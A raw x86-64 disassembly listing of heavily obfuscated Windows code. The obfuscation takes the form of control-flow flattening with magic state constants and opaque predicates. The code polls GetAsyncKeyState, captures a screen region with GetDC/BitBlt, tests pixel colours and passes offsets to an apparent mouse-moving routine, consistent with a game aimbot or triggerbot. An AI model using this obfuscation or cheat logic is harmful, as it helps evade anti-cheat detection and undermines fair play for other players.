cmp eax, 0xdd5b40e9
jle 0x1402b57ae
cmp eax, 0xe06ed2e7
jg 0x1402b5c83
cmp eax, 0xdf62b899
jg 0x1402b66eb
cmp eax, 0xdd5b40ea
je 0x1402b8407
cmp eax, 0xdd8f6a7f
jne 0x1402b3ded
mov eax, dword [0x14083eee8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x98977e0
mov ecx, 0xe890fcd
jmp 0x1402b3de0
cmp eax, 0x773ff7e9
jle 0x1402b57ee
cmp eax, 0x7d6a284b
jg 0x1402b5cbc
cmp eax, 0x7bc01fff
jg 0x1402b671f
cmp eax, 0x773ff7ea
je 0x1402b8416
cmp eax, 0x7aa2c712
jne 0x1402b3ded
mov eax, dword [rbp + 0x1fc]
mov ecx, dword [0x14083dfdc]
add eax, ecx
add eax, 0xfffffff6
mov dword [0x14083dcf4], eax
mov eax, dword [rbp + 0x64]
mov ecx, dword [0x14083dfe0]
lea eax, [rax + rcx - 0xa]
xorps xmm0, xmm0
cvtsi2ss xmm0, eax
addss xmm0, dword [0x14083dc4c]
cvttss2si eax, xmm0
mov dword [0x14083dcf8], eax
mov byte [rbp + 0x1f2], 1
mov dword [rbp + 0x20], send
mov eax, 0x645bd39d
jmp 0x1402b3ded
cmp eax, 0xbeded452
jle 0x1402b5846
cmp eax, 0xc1ac2c35
jg 0x1402b5cf1
cmp eax, 0xc04c580f
jg 0x1402b6757
cmp eax, 0xbeded453
je 0x1402b8434
cmp eax, 0xbf4823c7
jne 0x1402b3ded
mov al, byte [rbp + 0x1ea]
mov byte [rbp + 0x1df], al
mov eax, dword [rbp + 0x10]
mov dword [rbp - 8], eax
mov eax, dword [0x14083eee8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xe202b1bb
mov ecx, 0xaf4eb900
jmp 0x1402b3de0
cmp eax, 0x3efb3316
jg 0x1402b5d49
cmp eax, 0x3b3326da
jg 0x1402b6789
cmp eax, 0x3a5840b5
je 0x1402b845c
cmp eax, 0x3add1e3e
jne 0x1402b3ded
mov eax, dword [0x14083eee8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x35d83e9e
mov ecx, 0x73ffaa85
jmp 0x1402b3de0
cmp eax, 0x4c4727
jg 0x1402b5e40
cmp eax, 0xffae8e7c
jg 0x1402b77b9
cmp eax, 0xfecd7835
je 0x1402b8475
cmp eax, 0xff4f3c64
jne 0x1402b3ded
mov al, byte [rbp + 0x1e9]
mov byte [rbp + 0x20d], al
test byte [rbp + 0x20d], 1
mov eax, 0xe6f6a1c0
mov ecx, 0x25c12326
cmove eax, ecx
jmp 0x1402b3ded
cmp eax, 0x568d635e
jg 0x1402b5e7f
cmp eax, 0x54fdb678
jg 0x1402b7842
cmp eax, 0x4daf8f4d
je 0x1402b847f
cmp eax, 0x50b76e63
jne 0x1402b3ded
mov byte [0x14083dce0], 1
mov eax, 0x4338e96d
jmp 0x1402b3ded
cmp eax, 0x87a5c108
jle 0x1402b5eb6
cmp eax, 0x88ec0198
jg 0x1402b786c
cmp eax, 0x87a5c109
je 0x1402b84a4
cmp eax, 0x87de1a62
jne 0x1402b3ded
mov eax, dword [0x14083eee8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x868ecbec
mov ecx, 0x825cae7
jmp 0x1402b3de0
cmp eax, 0x5b1ab25
jle 0x1402b5ee1
cmp eax, 0x72bcbcd
jg 0x1402b788c
cmp eax, 0x5b1ab26
je 0x1402b84ba
cmp eax, 0x5f5d0e9
jne 0x1402b3ded
mov eax, 0x3617d0f6
jmp 0x1402b3ded
cmp eax, 0xc9afd87d
jle 0x1402b5f2b
cmp eax, 0xcac80d3c
jg 0x1402b78ce
cmp eax, 0xc9afd87e
je 0x1402b84d8
cmp eax, 0xc9d0d89a
jne 0x1402b3ded
cmp byte [rbp + 0x171], 0
mov eax, 0xff4f3c64
mov ecx, 0xf0931e23
cmovne eax, ecx
mov cl, byte [rbp + 0x1df]
mov byte [rbp + 0x1e9], cl
jmp 0x1402b3ded
cmp eax, 0x63a36a0d
jle 0x1402b5f62
cmp eax, 0x645bd39c
jg 0x1402b7901
cmp eax, 0x63a36a0e
je 0x1402b84f1
cmp eax, 0x64347567
jne 0x1402b3ded
mov eax, dword [rbp + 0x184]
cmp eax, 5
mov eax, 0xb597cf66
mov ecx, 0x479709fa
cmove eax, ecx
jmp 0x1402b3ded
cmp eax, 0xab98f447
jle 0x1402b5f91
cmp eax, 0xaf4eb8ff
jg 0x1402b792f
cmp eax, 0xab98f448
je 0x1402b8505
cmp eax, 0xae7ca606
jne 0x1402b3ded
cmp byte [rbp + 0x16f], 0
mov eax, 0x314c6de8
mov ecx, 0x18742115
cmovne eax, ecx
jmp 0x1402b3ded
cmp eax, 0x21f86219
jle 0x1402b5fbc
cmp eax, 0x2582fbad
jg 0x1402b7a1d
cmp eax, 0x21f8621a
je 0x1402b852f
cmp eax, 0x22d5ff09
jne 0x1402b3ded
mov dword [rbp + 0x50], 0
mov eax, 0x8bc6325f
jmp 0x1402b3ded
cmp eax, 0xe3304ba1
jle 0x1402b5fe2
cmp eax, 0xe6e624e0
jg 0x1402b7a4f
cmp eax, 0xe3304ba2
je 0x1402b8548
cmp eax, 0xe6b5e4cb
jne 0x1402b3ded
mov eax, 0x9c145ab6
jmp 0x1402b3ded
cmp eax, 0x437a3dac
jle 0x1402b6017
cmp eax, 0x45048a15
jg 0x1402b7a70
cmp eax, 0x437a3dad
je 0x1402b8561
cmp eax, 0x4461e4f8
jne 0x1402b3ded
mov al, byte [rbp + 0x1ee]
mov byte [rbp + 0x1e3], al
mov eax, dword [rbp + 0x18]
mov dword [rbp + 0x1fc], eax
mov eax, dword [0x14083eee8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x22a9f22
mov ecx, 0xec9e54a3
jmp 0x1402b3de0
cmp eax, 0x974bf500
jle 0x1402b6047
cmp eax, 0x9840d10f
jg 0x1402b7a90
cmp eax, 0x974bf501
je 0x1402b859d
cmp eax, 0x979f093b
jne 0x1402b3ded
mov eax, 0x1ada2c2f
mov dword [rbp + 0x24], 0
mov cl, byte [rbp + 0x1e6]
mov byte [rbp + 0x1f3], cl
jmp 0x1402b3ded
cmp eax, 0x12d17ae1
jle 0x1402b6072
cmp eax, 0x147d2035
jg 0x1402b7ac4
cmp eax, 0x12d17ae2
je 0x1402b85c7
cmp eax, 0x13104332
jne 0x1402b3ded
mov al, byte [rbp + 0x1f1]
mov byte [rbp + 0x1e6], al
mov eax, dword [rbp + 0x1c]
mov dword [rbp + 0x68], eax
mov eax, dword [rbp + 0x18c]
mov ecx, dword [rbp + 0x68]
cmp ecx, eax
mov eax, 0x8aa35a55
mov ecx, 0x3b763e88
cmovl eax, ecx
jmp 0x1402b3ded
cmp eax, 0xd8ed2954
jle 0x1402b60ae
cmp eax, 0xdca38d03
jg 0x1402b7af8
cmp eax, 0xd8ed2955
je 0x1402b85dd
cmp eax, 0xd90cb561
jne 0x1402b3ded
mov dword [0x14083dfc8], 0xa2
mov eax, 0x3098ecdb
jmp 0x1402b3ded
cmp eax, 0x735a6c11
jle 0x1402b610a
cmp eax, 0x744233af
jg 0x1402b7b29
cmp eax, 0x735a6c12
je 0x1402ba070
cmp eax, 0x73ffaa85
jne 0x1402b3ded
cmp byte [0x14083dce0], 0
setne byte [rbp + 0x16f]
mov eax, dword [0x14083eee8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x35d83e9e
mov ecx, 0xae7ca606
jmp 0x1402b3de0
cmp eax, 0xb6ae3d68
jle 0x1402b6149
cmp eax, 0xb84d6b43
jg 0x1402b7b5d
cmp eax, 0xb6ae3d69
je 0x1402ba094
cmp eax, 0xb7c160b8
jne 0x1402b3ded
mov edx, dword [rbp + 0x1d8]
mov r8d, dword [rbp + 0x168]
sub rsp, 0x20
lea rsi, [0x14083d938]
mov rcx, rsi
call fcn.1402b1e70
mov rcx, rsi
call fcn.1402b1fc0
add rsp, 0x20
mov eax, dword [rbp + 0x168]
xor r8d, r8d
sub r8d, dword [rbp + 0x168]
mov eax, dword [rbp + 0x1d8]
mov eax, dword [rbp + 0x1d8]
mov eax, dword [rbp + 0x1d8]
mov eax, dword [rbp + 0x1d8]
mov eax, dword [rbp + 0x1d8]
xor edx, edx
sub edx, dword [rbp + 0x1d8]
sub rsp, 0x20
mov rcx, rsi
call fcn.1402b1e70
add rsp, 0x20
mov byte [0x14083da11], 1
mov eax, 0xffcdbb12
jmp 0x1402b3ded
cmp eax, 0x380e2435
jg 0x1402b7b8c
cmp eax, 0x3624f509
je 0x1402ba0b2
cmp eax, 0x36ea6d4e
jne 0x1402b3ded
mov eax, 0x3efb3317
jmp 0x1402b3ded
cmp eax, 0xfe6c135e
jg 0x1402b7bb3
cmp eax, 0xf79275cf
je 0x1402ba0cb
cmp eax, 0xfb2b9116
jne 0x1402b3ded
mov rax, qword [rbp + 0x80]
mov rdx, qword [rax]
sub rsp, 0x20
lea rcx, [0x14083dce8]
call fcn.1402af750
add rsp, 0x20
movss xmm0, dword [0x14083dce8]
mov eax, dword [0x14083eed0]
mov edi, dword [0x14083eed4]
lea ebx, [rax - 1]
imul ebx, eax
sub rsp, 0x20
call sub.api_ms_win_crt_math_l1_1_0.dll_roundf
add rsp, 0x20
test bl, 1
sete byte [rbp + 0x238]
mov esi, 0xa59062ab
mov eax, 0x4b4142e5
cmove esi, eax
cmp edi, 0xa
setl byte [rbp + 0x210]
cmovl esi, eax
mov eax, 0xd5e09d55
nop
cmp eax, 0x4b4142e4
jg 0x1402b59f0
cmp eax, 0xa59062ab
je 0x1402b5a06
cmp eax, 0xd5e09d55
jne 0x1402b59b0
movzx ecx, byte [rbp + 0x238]
cmp byte [rbp + 0x210], 0
mov eax, 0xa59062ab
mov edx, 0x6a6efff6
cmovne eax, edx
test cl, cl
cmovne eax, edx
jmp 0x1402b59b0
cmp eax, 0x4b4142e5
je 0x1402ba0d5
cmp eax, 0x6a6efff6
jne 0x1402b59b0
mov eax, esi
jmp 0x1402b59b0
mov eax, 0x6a6efff6
jmp 0x1402b59b0
cmp eax, 0x5f279ede
jg 0x1402b7bdd
cmp eax, 0x5d5fa444
je 0x1402ba17d
cmp eax, 0x5f1fdc0b
jne 0x1402b3ded
cmp dword [rbp + 0x184], 0
mov eax, 0x4a7ae2b0
mov ecx, 0x1e823e5a
cmovle eax, ecx
jmp 0x1402b3ded
cmp eax, 0x92349cfb
jg 0x1402b7c11
cmp eax, 0x8bd4c5a0
je 0x1402ba193
cmp eax, 0x8e243482
jne 0x1402b3ded
mov ecx, dword [0x14083dfc4]
sub rsp, 0x20
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
add rsp, 0x20
test ax, ax
mov eax, 0xdd8f6a7f
mov ecx, 0xa2c25f1a
cmove eax, ecx
jmp 0x1402b3ded
cmp eax, 0xd0d6641
jg 0x1402b7c31
cmp eax, 0xc254247
je 0x1402ba1a7
cmp eax, 0xccc31bb
jne 0x1402b3ded
movabs rax, 0x200000001
mov qword [0x14083dfdc], rax
mov eax, 0xa7325adb
jmp 0x1402b3ded
cmp eax, 0xd1a68b78
jg 0x1402b7c6e
cmp eax, 0xd0a3c5f1
je 0x1402ba1c0
cmp eax, 0xd0ba0e97
jne 0x1402b3ded
mov eax, dword [rbp + 0x184]
cmp eax, 3
mov eax, 0xdd5b3598
mov ecx, 0x5f1fdc0b
cmovl eax, ecx
jmp 0x1402b3ded
cmp eax, 0x6e6a7735
jg 0x1402b7ca9
cmp eax, 0x6c34dfb6
je 0x1402ba1d9
cmp eax, 0x6e485d00
jne 0x1402b3ded
mov eax, dword [0x14083eee8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xef0c5803
mov ecx, 0x568d635f
jmp 0x1402b3de0
cmp eax, 0xb597cf65
jg 0x1402b7ce7
cmp eax, 0xb4524d74
je 0x1402ba1ed
cmp eax, 0xb4ba7929
jne 0x1402b3ded
mov al, byte [rbp + 0x1e8]
mov byte [rbp + 0x1de], al
mov eax, dword [0x14083eee8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x65602196
mov ecx, 0xc1ac2c36
jmp 0x1402b3de0
cmp eax, 0x3098ecda
jg 0x1402b7d11
cmp eax, 0x2b0b3c25
je 0x1402ba20b
cmp eax, 0x2e8e5332
jne 0x1402b3ded
mov eax, 0x773ff7ea
jmp 0x1402b3ded
cmp eax, 0xef0c5802
jg 0x1402b7d4d
cmp eax, 0xec9e54a3
je 0x1402ba22d
cmp eax, 0xed19965e
jne 0x1402b3ded
mov dword [rbp + 0xc], 0
mov al, byte [rbp + 0x1e1]
jmp 0x1402b7d72
cmp eax, 0x4b51f4c8
jg 0x1402b7d82
cmp eax, 0x47b299de
je 0x1402ba25b
cmp eax, 0x4a7ae2b0
jne 0x1402b3ded
mov eax, dword [rbp + 0x184]
cmp eax, 2
mov eax, 0x63a36a0e
mov ecx, 0xe2e5af90
cmovl eax, ecx
jmp 0x1402b3ded
cmp eax, 0xa2c25f19
jg 0x1402b7db1
cmp eax, 0x9fa77499
je 0x1402ba283
cmp eax, 0xa192a489
jne 0x1402b3ded
mov eax, 0x1f57299b
jmp 0x1402b3ded
cmp eax, 0x1ada2c2e
jg 0x1402b7df4
cmp eax, 0x18742115
je 0x1402ba28d
cmp eax, 0x19e4b187
jne 0x1402b3ded
mov eax, 0x3efb3317
jmp 0x1402b3ded
cmp eax, 0xe11ce2e1
jg 0x1402b7e1e
cmp eax, 0xe06ed2e8
je 0x1402ba2ab
cmp eax, 0xe08f3589
jne 0x1402b3ded
mov eax, dword [rbp + 0x6c]
cmp eax, 2
mov eax, 0x6554db57
mov ecx, 0xdd5b40ea
cmovl eax, ecx
jmp 0x1402b3ded
cmp eax, 0x7ecc72a6
jg 0x1402b7f00
cmp eax, 0x7d6a284c
je 0x1402ba37d
cmp eax, 0x7dd60251
jne 0x1402b3ded
mov dword [0x14083dfc8], 6
mov eax, 0x3098ecdb
jmp 0x1402b3ded
cmp eax, 0xc219d46e
jg 0x1402b7f34
cmp eax, 0xc1ac2c36
je 0x1402ba395
cmp eax, 0xc1b86ea4
jne 0x1402b3ded
mov rax, qword [rbp + 0x80]
ucomiss xmm7, dword [rax + 4]
setnp al
sete cl
and cl, al
mov byte [rbp + 0x176], cl
mov eax, dword [0x14083eee8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x380e2436
mov ecx, 0xc9afd87e
jmp 0x1402b3de0
cmp eax, 0x41aed59c
jg 0x1402b7f7b
cmp eax, 0x3efb3317
je 0x1402ba3c1
cmp eax, 0x41173c44
jne 0x1402b3ded
mov byte [0x14083da11], 0
mov rax, qword [rbp - 0x10]
mov rcx, qword [rbp - 0x10]
mov edx, dword [0x140837e60]
mov ebx, dword [0x140837e64]
lea edi, [rdx - 1]
imul edi, edx
test dil, 1
sete byte [rbp + 0x210]
cmp ebx, 0xa
setl byte [rbp + 0x190]
mov edx, 0xd955c508
nop word cs:[rax + rax]
nop
cmp edx, 0xe1184721
jg 0x1402b5df0
cmp edx, 0x8d0856b4
je 0x1402ba3d2
cmp edx, 0xd955c508
jne 0x1402b5db0
movzx ebx, byte [rbp + 0x210]
cmp byte [rbp + 0x190], 0
mov edx, 0xe1184722
mov edi, 0x46c478f2
cmovne edx, edi
test bl, bl
cmovne edx, edi
jmp 0x1402b5db0
cmp edx, 0xe1184722
je 0x1402b5e2f
cmp edx, 0x46c478f2
jne 0x1402b5db0
mov qword [rcx], 0
mov edx, dword [0x140837e60]
lea ebx, [rdx - 1]
imul ebx, edx
test bl, 1
mov edx, 0xe1184722
mov ebx, 0x8d0856b4
cmove edx, ebx
cmp dword [0x140837e64], 0xa
cmovl edx, ebx
jmp 0x1402b5db0
mov qword [rcx], 0
mov edx, 0x46c478f2
jmp 0x1402b5db0
cmp eax, 0x22a9f21
jg 0x1402b7faa
cmp eax, 0x4c4728
je 0x1402ba3e6
cmp eax, 0xe67c3d
jne 0x1402b3ded
mov eax, dword [0x14083eee8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x5f5d0e9
mov ecx, 0x3617d0f6
jmp 0x1402b3de0
cmp eax, 0x57f3eeec
jle 0x1402b7fd4
cmp eax, 0x57f3eeed
je 0x1402ba3fc
cmp eax, 0x59e9bda1
jne 0x1402b3ded
mov eax, 0x4ce2c5d3
mov cl, byte [rbp + 0x1e4]
mov byte [rbp + 0x1ec], cl
jmp 0x1402b3ded
cmp eax, 0x821f31f1
je 0x1402ba41a
cmp eax, 0x8354f271
je 0x1402ba424
cmp eax, 0x868ecbec
jne 0x1402b3ded
mov eax, 0x825cae7
jmp 0x1402b3ded
cmp eax, 0x41b87ad
je 0x1402ba441
cmp eax, 0x41bc305
je 0x1402ba44b
cmp eax, 0x41c6d70
jne 0x1402b3ded
mov ecx, dword [0x14083dfc4]
sub rsp, 0x20
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
add rsp, 0x20
test ax, ax
mov eax, 0x7bc02000
mov ecx, 0xbd4d0f8f
cmove eax, ecx
jmp 0x1402b3ded
cmp eax, 0xc7531a4f
je 0x1402ba464
cmp eax, 0xc7880d86
je 0x1402ba482
cmp eax, 0xc94ee349
jne 0x1402b3ded
cmp dword [rbp + 0x6c], 0
mov eax, 0x182b21db
mov ecx, 0x436541f4
cmove eax, ecx
jmp 0x1402b3ded
cmp eax, 0x629ba0f7
je 0x1402ba498
cmp eax, 0x632c889f
je 0x1402ba4b1
cmp eax, 0x634d8e22
jne 0x1402b3ded
mov rax, qword [rbp - 0x68]
mov eax, 0x5d2ba13d
jmp 0x1402b3ded
cmp eax, 0xa4743232
je 0x1402ba4bb
cmp eax, 0xa7325adb
je 0x1402b3db8
cmp eax, 0xa90f0b2e
jne 0x1402b3ded
mov eax, 0x3098ecdb
jmp 0x1402b3ded
cmp eax, 0x1e823e5a
je 0x1402ba4d6
cmp eax, 0x1f57299b
je 0x1402ba4ef
cmp eax, 0x209fa1a9
je 0x1402b7858
jmp 0x1402b3ded
cmp eax, 0xe202b1bb
je 0x1402ba51b
cmp eax, 0xe21beb2b
je 0x1402ba528
cmp eax, 0xe2e5af90
jne 0x1402b3ded
mov dword [0x14083dfc8], 2
mov eax, 0x3098ecdb
jmp 0x1402b3ded
cmp eax, 0x42055e35
je 0x1402ba545
cmp eax, 0x4338e96d
je 0x1402ba54f
cmp eax, 0x436541f4
jne 0x1402b3ded
movabs rax, 0x200000001
jmp 0x1402bb8e3
cmp eax, 0x9628cfd1
je 0x1402ba574
cmp eax, 0x96d59965
je 0x1402ba57e
cmp eax, 0x97487eb8
jne 0x1402b3ded
mov eax, 0x72bcbce
jmp 0x1402b3ded
cmp eax, 0xef79023
je 0x1402ba59c
cmp eax, 0x10eee3ef
je 0x1402ba5b7
cmp eax, 0x12449df2
jne 0x1402b3ded
mov eax, dword [rbp + 0x188]
cmp eax, 5
mov eax, 0x5a8b0db8
mov ecx, 0x1e37305f
cmove eax, ecx
jmp 0x1402b3ded
cmp eax, 0xd353affb
je 0x1402ba690
cmp eax, 0xd55d3384
je 0x1402ba6ae
cmp eax, 0xd6016d8a
jne 0x1402b3ded
movss xmm0, dword [0x14083dfb0]
cvtss2sd xmm0, xmm0
mulsd xmm0, xmm8
cmp byte [0x14083df93], 0
addsd xmm0, xmm9
je 0x1402b60f3
movapd xmm0, xmm10
ucomisd xmm11, xmm0
mov eax, 0xf625b593
mov ecx, 0xf79275cf
cmovae eax, ecx
jmp 0x1402b3ded
cmp eax, 0x6f91de98
je 0x1402ba6dc
cmp eax, 0x6fad3278
je 0x1402ba6fa
cmp eax, 0x704fcf8c
jne 0x1402b3ded
mov eax, dword [0x14083eee8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x821f31f1
mov ecx, 0x8354f271
jmp 0x1402b3de0
cmp eax, 0xb5f0d340
je 0x1402bb636
cmp eax, 0xb641d24f
je 0x1402bb654
cmp eax, 0xb67ebd89
jne 0x1402b3ded
mov al, byte [rbp + 0x1e3]
mov byte [rbp + 0x1ed], al
mov eax, 0x6866f8c2
jmp 0x1402b3ded
cmp eax, 0x35d83e9e
je 0x1402bb72d
cmp eax, 0x3617d0f6
jne 0x1402b3ded
cmp byte [0x14083df92], 0
setne byte [rbp + 0x172]
mov eax, dword [0x14083eee8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x5f5d0e9
mov ecx, 0xc254247
jmp 0x1402b3de0
cmp eax, 0xf625b593
je 0x1402bb737
cmp eax, 0xf6dd2f70
jne 0x1402b3ded
mov eax, dword [rbp + 0x18c]
mov ecx, dword [rbp + 0x1c0]
cmp ecx, eax
setl byte [rbp + 0x178]
mov eax, dword [0x14083eee8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x5d5fa444
mov ecx, 0xb1efc176
jmp 0x1402b3de0
cmp eax, 0x5b51e5c3
je 0x1402bb760
cmp eax, 0x5d2ba13d
jne 0x1402b3ded
mov rax, qword [rbp + 0x80]
mov qword [rbp - 0x70], rax
mov rax, qword [rbp - 0x70]
xorps xmm0, xmm0
cvtsi2ss xmm0, dword [0x14083dcf8]
xorps xmm1, xmm1
cvtsi2ss xmm1, dword [0x14083dcf4]
mov rax, qword [rbp + 0x80]
mov ecx, dword [0x140837e60]
mov edx, dword [0x140837e64]
lea ebx, [rcx - 1]
imul ebx, ecx
test bl, 1
sete byte [rbp + 0x210]
cmp edx, 0xa
setl byte [rbp + 0x190]
mov ecx, 0xd955c508
nop dword [rax + rax]
cmp ecx, 0xe1184721
jg 0x1402b62c0
cmp ecx, 0x8d0856b4
je 0x1402bb830
cmp ecx, 0xd955c508
jne 0x1402b6280
movzx edx, byte [rbp + 0x210]
cmp byte [rbp + 0x190], 0
mov ecx, 0xe1184722
mov ebx, 0x46c478f2
cmovne ecx, ebx
test dl, dl
cmovne ecx, ebx
jmp 0x1402b6280
cmp ecx, 0xe1184722
je 0x1402b6304
cmp ecx, 0x46c478f2
jne 0x1402b6280
movss dword [rax], xmm1
movss dword [rax + 4], xmm0
mov ecx, dword [0x140837e60]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
mov ecx, 0xe1184722
mov edx, 0x8d0856b4
cmove ecx, edx
cmp dword [0x140837e64], 0xa
cmovl ecx, edx
jmp 0x1402b6280
movss dword [rax], xmm1
movss dword [rax + 4], xmm0
mov ecx, 0x46c478f2
jmp 0x1402b6280
cmp eax, 0x8aa35a55
je 0x1402bb854
cmp eax, 0x8bc6325f
jne 0x1402b3ded
mov eax, dword [rbp + 0x50]
mov dword [rbp - 4], eax
mov eax, dword [rbp + 4]
or eax, dword [rbp - 4]
mov eax, 0x19e4b187
mov ecx, 0x4daf8f4d
cmovne eax, ecx
jmp 0x1402b3ded
cmp eax, 0xaa8c19e
je 0x1402bb872
cmp eax, 0xc1100d7
jne 0x1402b3ded
mov eax, dword [rbp + 0x1fc]
add eax, 1
mov dword [rbp - 0x44], eax
mov eax, dword [0x14083eee8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xd55d3384
mov ecx, 0xc1214295
jmp 0x1402b3de0
cmp eax, 0xcc0bb34c
je 0x1402bb89b
cmp eax, 0xd0714caa
jne 0x1402b3ded
mov eax, 0x5d2ba13d
jmp 0x1402b3ded
cmp eax, 0x679c182d
je 0x1402bb8af
cmp eax, 0x6866f8c2
jne 0x1402b3ded
mov al, byte [rbp + 0x1ed]
mov byte [rbp + 0x20e], al
test byte [rbp + 0x20e], 1
mov eax, 0x4b51f4c9
mov ecx, 0xcad525b5
cmove eax, ecx
jmp 0x1402b3ded
cmp eax, 0xb206edcc
je 0x1402bb8c3
cmp eax, 0xb25b6ef8
jne 0x1402b3ded
mov eax, dword [rbp + 0x68]
add eax, 1
mov dword [rbp + 0x1c], eax
mov eax, 0x13104332
mov cl, byte [rbp + 0x1e5]
mov byte [rbp + 0x1f1], cl
jmp 0x1402b3ded
cmp eax, 0x2aa833f2
je 0x1402bb8d9
cmp eax, 0x2ad4b176
jne 0x1402b3ded
mov rax, qword [rbp - 0x38]
mov qword [rbp - 0x68], rax
mov rax, qword [rbp - 0x68]
mov eax, dword [0x14083da44]
mov ecx, eax
add ecx, 0xffffffec
shr ecx, 0x1f
add eax, ecx
add eax, 0xffffffec
sar eax, 1
mov ecx, dword [0x14083da40]
mov edx, ecx
add edx, 0xffffffec
shr edx, 0x1f
add ecx, edx
add ecx, 0xffffffec
sar ecx, 1
mov rdx, qword [rbp - 0x38]
mov dword [rdx], ecx
mov dword [rdx + 4], eax
movabs rax, 0x1400000014
mov qword [rdx + 8], rax
mov rax, qword [rbp - 0x38]
movsxd rsi, dword [rax + 8]
movsxd rbx, dword [rax + 0xc]
mov r14d, dword [rax]
mov r15d, dword [rax + 4]
sub rsp, 0x20
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetDC]
add rsp, 0x20
mov r12, rax
sub rsp, 0x20
mov rcx, rax
call qword [sym.imp.GDI32.dll_CreateCompatibleDC]
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
mov rcx, r12
mov edx, esi
mov r8d, ebx
call qword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
add rsp, 0x20
mov r13, rax
sub rsp, 0x20
mov rcx, rdi
mov rdx, rax
call qword [sym.imp.GDI32.dll_SelectObject]
add rsp, 0x20
mov qword [rbp + 0x200], rax
sub rsp, 0x50
mov dword [rsp + 0x38], r15d
mov dword [rsp + 0x30], r14d
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x20], ebx
mov dword [rsp + 0x40], 0xcc0020
mov rcx, rdi
xor edx, edx
xor r8d, r8d
mov r9d, esi
call qword [sym.imp.GDI32.dll_BitBlt]
add rsp, 0x50
lea rax, [rbp + 0x1a8]
movups xmmword [rax], xmm6
mov dword [rbp + 0x190], Ordinal_41
mov dword [rbp + 0x19c], 0x200001
mov dword [rbp + 0x194], esi
mov eax, ebx
neg eax
mov dword [rbp + 0x198], eax
mov qword [rbp + 0x1a0], 0
imul rsi, rbx
shl rsi, 2
sub rsp, 0x20
lea rcx, [0x14083dd00]
mov rdx, rsi
lea r8, [rbp + 0x210]
call fcn.14034ce50
add rsp, 0x20
mov eax, dword [0x1408382f0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete byte [rbp + 0x228]
mov ecx, dword [0x1408382f4]
mov eax, 0x2acbea3d
mov edx, 0xa71f946
cmove eax, edx
cmp ecx, 0xa
setl byte [rbp + 0x238]
mov r8, qword [0x14083dd00]
cmovl eax, edx
mov edx, 0x6e3609a9
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0x6e3609a8
jg 0x1402b6600
cmp edx, 0xa71f946
je 0x1402bb8f4
cmp edx, 0x2acbea3d
jne 0x1402b65d0
mov edx, 0x74015c41
jmp 0x1402b65d0
cmp edx, 0x74015c41
je 0x1402b6632
cmp edx, 0x6e3609a9
jne 0x1402b65d0
movzx ecx, byte [rbp + 0x228]
cmp byte [rbp + 0x238], 0
mov edx, 0x2acbea3d
mov esi, 0x74015c41
cmovne edx, esi
test cl, cl
cmovne edx, esi
jmp 0x1402b65d0
mov edx, eax
jmp 0x1402b65d0
cmp eax, 0xea5fd67b
je 0x1402bb9a4
cmp eax, 0xeb3cbada
jne 0x1402b3ded
mov eax, dword [rbp - 0x40]
mov dword [rbp + 0x2c], eax
mov eax, 0xc275255a
mov cl, byte [rbp + 0x20f]
mov qword [rbp - 0x20], rcx
jmp 0x1402b3ded
cmp eax, 0x47401616
je 0x1402bb9bd
cmp eax, 0x479709fa
jne 0x1402b3ded
mov dword [0x14083dfc8], 0x12
mov eax, 0x3098ecdb
jmp 0x1402b3ded
cmp eax, 0x9dd2d6f7
je 0x1402bb9c7
cmp eax, 0x9f3d90bb
jne 0x1402b3ded
mov edx, dword [rbp + 0x48]
mov r8d, dword [rbp + 0x44]
sub rsp, 0x20
lea rcx, [0x14083d938]
call fcn.1402b1e70
add rsp, 0x20
mov eax, 0x88ec0199
jmp 0x1402b3ded
cmp eax, 0x15909ba5
je 0x1402bb9e4
cmp eax, 0x182b21db
jne 0x1402b3ded
mov eax, 0xccc31bb
jmp 0x1402b3ded
cmp eax, 0xdf62b89a
je 0x1402bba02
cmp eax, 0xdf84e053
jne 0x1402b3ded
mov eax, dword [0x14083eee8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x632c889f
mov ecx, 0xe798fdab
jmp 0x1402b3de0
cmp eax, 0x7bc02000
je 0x1402bba2a
cmp eax, 0x7d045c5f
jne 0x1402b3ded
mov eax, dword [rbp + 0x1c0]
mov eax, dword [rbp + 0x1c0]
mov eax, dword [rbp + 0x1c0]
mov eax, dword [rbp + 0x1c0]
mov eax, 0xab98f448
jmp 0x1402b3ded
cmp eax, 0xc04c5810
je 0x1402bbc36
cmp eax, 0xc1214295
jne 0x1402b3ded
mov eax, dword [rbp - 0x44]
mov dword [rbp + 0x18], eax
mov al, byte [rbp + 0x1e2]
mov byte [rbp + 0x1ee], al
mov eax, 0x4461e4f8
jmp 0x1402b3ded
cmp eax, 0x3b3326db
je 0x1402bbc4f
cmp eax, 0x3b763e88
jne 0x1402b3ded
mov eax, dword [rbp + 0x18c]
imul eax, dword [rbp + 0x1c0]
add eax, dword [rbp + 0x68]
cdqe
mov rcx, qword [0x14083dd00]
movzx esi, byte [rcx + rax*4]
cmp esi, 0x64
setae byte [rbp + 0x88]
cmp esi, 0x4f
setb byte [rbp + 0x90]
cmp esi, 0x5a
setb byte [rbp + 0x98]
cmp esi, 0x3d
setae r9b
